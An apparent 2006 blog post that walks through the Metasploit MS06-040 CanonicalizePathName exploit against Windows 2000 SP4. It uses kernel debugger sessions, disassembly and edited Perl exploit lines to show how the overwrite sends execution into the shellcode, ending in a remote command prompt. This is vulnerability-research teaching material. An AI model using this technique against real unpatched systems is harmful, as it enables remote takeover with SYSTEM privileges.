Software Vulnerability Exploitation Blog

Sunday, September 10, 2006

When Kernel Crash : MS06-040 Microsoft CanonicalizePathName() Overflow

Last month (August 2006), one of the most interested vulnerability was disclosure, MS06-040 Microsoft CanonicalizePathName() Overflow. The vulnerability can trigged by creating the malformed packet “NetpwPathCanonicalize RPC call”. If the attacker exploits the vulnerability successful in Windows 2000 SP0 – SP4 or Windows XP SP0 – SP1, he will be able to completely control the system because his privilege is SYSTEM. The vulnerability cannot be exploit to execute the code on Windows XP SP2 or Windows Server 2003 SP1 due to the fact that these systems have the mechanism to prevent buffer overflow exploitation technique. However, the attacker still can launch DoS attack to Windows XP SP2 and Windows Server 2003 SP1.

There are three exploits have been published to attack this vulnerability – rootshell team, iRP and H D Moore (metasploit). Of course, to avoid the implementation detailed of DEC/RPC protocol and to avoid the undocumented exploit, I decide to use the metasploit version to study how to exploit the vulnerability. My target system is Windows Server 2000 SP 4 because it will reboot itself when it’s crashes – easy to notice.

Now, Let start to crash the system ^-^. I modify the metasploit module “netapi_ms06_040.pm” :

[ '(wcscpy) Windows NT 4.0 / Windows 2000 SP0-SP4', 1000, 0x00020804 ]

I change 0x00020804 to 0xAAAAAAAA. The reason why I change only this value because this is the return value to the payload. If I wanna to see how to exploit it, I have to investigate from the point that system crashes. Then launch the exploit.


The system crashes and has to restart and the error message inform me that the process services.exe has terminated. I boot the system in debug mode and attach kernel debugger to it. Now, launch the exploit again:

Unhandled Exception hit in services.exe

first, enter !exr 014BF360 for the exception record
next, enter !cxr 014BF37C for the context
then !kb to get the faulting stack

Break instruction exception - code 80000003 (first chance)
*** WARNING: symbols timestamp is wrong 0x3ef274dc 0x41e648e0 for NTDLL.DLL
NTDLL!RtlpProcessWaitCompletion+0x180:
001b:77fa144b cc int 3

kd> .exr 014BF360
ExceptionAddress: 78010497
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: aaaaaaaa
Attempt to write to address aaaaaaaa

kd> .cxr 014BF37C
eax=014b02eb ebx=00000411 ecx=aaaaaaaa edx=014bf660 esi=00000002 edi=780104a8
eip=78010497 esp=014bf648 ebp=014bfa74 iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000213
001b:78010497 668901 mov word ptr [ecx],ax ds:0023:aaaaaaaa=????

I got more information from kd. First, the system crashes because of unhandled exception in services.exe – attempt to write to address 0xaaaaaaaa – the invalid memory. Second, we can control ecx. Third, the instruction that causes the access violation is 0x78010497 (in MSVCRT!wcscpy + 0xb). I disassemble the function wcscpy() to get more picture:

7801048c mov ecx,dword ptr [esp+4]
78010490 mov edx,dword ptr [esp+8]
78010494 mov ax,word ptr [edx]
78010497 mov word ptr [ecx], ax
7801049a inc ecx
7801049b inc ecx
7801049c inc edx
7801049d inc edx
7801049e test ax,ax
780104a1 jne MSVCRT!wcscpy+0x8 (78010494)
780104a3 mov eax,dword ptr [esp+4]
780104a7 ret

There are 12 lines of code in this function – not much ^-^. The function takes 2 parameters, ecx and edx. It copy each 2 bytes pointed by edx to ecx until edx point to the value 0x0. The first parameter, ecx, is the value that we can control so we can write the value pointed by edx to any memory that we want (of course, it has to be the valid memory). But I don’t know what’s edx point to. To make it clear, I modify the exploit again:

if ($target->[0] =~ /2000/ && ! $target->[3]) {

# Pad our shellcode out with nops
$shellcode = $self->MakeNops($target->[1] - length($shellcode)) . $shellcode;

I add 2 lines of code:

my $lengthsc = length($shellcode);
$shellcode = "\xcc" x $lengthsc;

These code change every byte of the payload to “\xcc”. I rerun the exploit and the system crashes. I dump the memory pointed by edx:

0146f660 005c02eb cccccccc cccccccc cccccccc
0146f670 cccccccc cccccccc cccccccc cccccccc
0146f680 cccccccc cccccccc cccccccc cccccccc
0146f690 cccccccc cccccccc cccccccc cccccccc
0146f6a0 cccccccc cccccccc cccccccc cccccccc
0146f6b0 cccccccc cccccccc cccccccc cccccccc
0146f6c0 cccccccc cccccccc cccccccc cccccccc
0146f6d0 cccccccc cccccccc cccccccc cccccccc

Wow !!! it point to the location near our payload. Could you recognize the first 2 bytes at 0x0146f660 ? Yes, it is the instruction “jmp 0x02”. This means that it will jump to our payload. I locate the bytes “eb 02” in the exploit code and I found it at line:

Pex::NDR::UnicodeConformantVaryingStringPreBuilt( "\xeb\x02" . "\x00\x00").

I continue disassemble the memory pointed by edx and I can draw the layout of payload like this:

0146f660 005c02eb cccccccc cccccccc cccccccc
0146f670 cccccccc cccccccc cccccccc cccccccc
.....
0146fa40 cccccccc cccccccc cccccccc aaaaaaaa
.....
0146fa80 aaaaaaaa aaaaaaaa aaaaaaaa 00000000

After our shellcode is the series of 4 bytes “0xaaaaaaaa” which correspond the code line:

my $path = $shellcode . (pack('V', $target->[2]) x 16) . "\x00\x00";

this picture in the layout of the packet captured by Ethereal – yes, Ethereal not Wireshark :)


(This made me some confuse, because our shellcode is followed by “eb 02” in the packet layout but it followed “eb 02” in the memory layout. May be it’s all about the order when the kernel copy packet into the memory.)

Now, we can write our shellcode into any memory location, but how services.exe transfer from the point that kernel crashed to execute our shellcode. I change the exploit back to the original one and add this line:

$shellcode = "\xcc" . $shellcode ;

This will halt the debugger before the payload is executed. I also set breakpoint at 0x78010497 – the point that kernel crash – with the conditional “j @ecx = 00020804 ‘’;’gc’”. The debugger will halt at the address 0x78010497 when ecx = 0x00020804. But when I run the exploit, the debugger does not halt at 0x78010497. Why ? I try to change the ecx value until found something interest. I use 0x00112233 as the ecx value:

ExceptionAddress: 78010497
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 11223300
Attempt to write to address 11223300

The ecx value is 0x11223300, not 0x00112233 !!? The leading byte 0x00 is ignored by Windows and the bytes 0x112233 is appended by 0x00. Now I set the new breakpoint condition “j @ecx = 02080400 ‘’;’gc’”:

kd> bp 78010497 "j @ecx = 02080400 '';'gc'"
kd> bl
0 e 78010497 0001 (0001) "j @ecx = 02080400 '';'gc'"

kd> g
001b:78010497 668901 mov word ptr [ecx],ax
kd> r
eax=015a02eb ebx=00000411 ecx=02080400 edx=015af660 esi=00000002 edi=780104a8
eip=78010497 esp=015af648 ebp=015afa74 iopl=0 nv up ei ng nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000287
001b:78010497 668901 mov word ptr [ecx],ax ds:0023:02080400=????

Yes, It stop at 0x78010497 and ecx = 02080400. At this point, I clear the old breakpoint and redefine the new breakpoint at the address 0x7801049etest ax ax” with the condition “j @ax=0000 ‘’:’gc’”:

kd> g
001b:7801049e 6685c0 test ax,ax
kd> r
eax=015a0000 ebx=00000411 ecx=0208082e edx=015afa8e esi=00000002 edi=780104a8
eip=7801049e esp=015af648 ebp=015afa74 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000206
001b:7801049e 6685c0 test ax,ax
......
kd> r
eax=02080400 ebx=00000411 ecx=0208082e edx=015afa8e esi=00000002 edi=780104a8
eip=780104a7 esp=015af648 ebp=015afa74 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246
001b:780104a7 c3 ret

The debugger break at the address 0x7801049e because ax = 0x0000 and it will not jump to 0x78010494. The kernel execute until “ret” instruction at 0x780104a7. This is the context after the “ret” instruction.

eax=02080400 ebx=00000411 ecx=0208082e edx=015afa8e esi=00000002 edi=780104a8
eip=75175378 esp=015af64c ebp=015afa74 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246
001b:75175378 59 pop ecx

The flow of execution transfer to 0x75175378 - NETAPI32!`string'+0x38c:

75175378 59 pop ecx
75175379 33c0 xor eax,eax
7517537b 59 pop ecx
7517537c 5f pop edi
7517537d 5e pop esi
7517537e 5b pop ebx
7517537f c9 leave
75175380 c21400 ret 14h

Follow the instruction until the address 0x7517537e, the context looks like this:

eax=00000000 ebx=0010b424 ecx=015af660 edx=015afa8e esi=0010ec88 edi=00000000
eip=7517537f esp=015af660 ebp=015afa74 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246
001b:7517537f c9 leave

The “leave” instruction can be divided into 2 seperate instructions:

mov esp, ebp ; esp = 015afa74, ebp = 015afa74
pop ebp ; ebp = 02080400

eax=00000000 ebx=0010b424 ecx=015af660 edx=015afa8e esi=0010ec88 edi=00000000
eip=75175380 esp=015afa78 ebp=02080400 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246
001b:75175380 c21400 ret 14h

We reach the “ret” instruction which will jump to the address pointed by esp.

kd> dd esp
015afa78 02080400 02080400 02080400 02080400
015afa88 02080400 00000000 015afac0 015afafc
.....

Because esp pointed to the address 0x02080400, so the flow of execution transfer to 0x02080400

eax=00000000 ebx=0010b424 ecx=015af660 edx=015afa8e esi=0010ec88 edi=00000000
eip=02080400 esp=015afa90 ebp=02080400 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246
001b:02080400 eb02 jmp 02080404

kd> dd 02080400
02080400 005c02eb fd483fcc 4e96f892 4046984f
02080410 49fdf99f f94e9190 404f4b42 41379893

Can you recognize the first 4 bytes ? Yes it is the start of our payload !!!. Now I press ‘g’ to continue:

kd> g
Break instruction exception - code 80000003 (first chance)
001b:02080404 cc int 3

It break at the instruction “cc” which we insert at the front of shellcode. I continue to run the kernel which result in command prompt ^-^.

P.S. I still have the question, why the exploit choose to overwrite at 0x02080400 ? I change this value to 0x02010100 and it still work.I know only that it has to be the writable memory section.

1 Comments:

Post a Comment

<< Home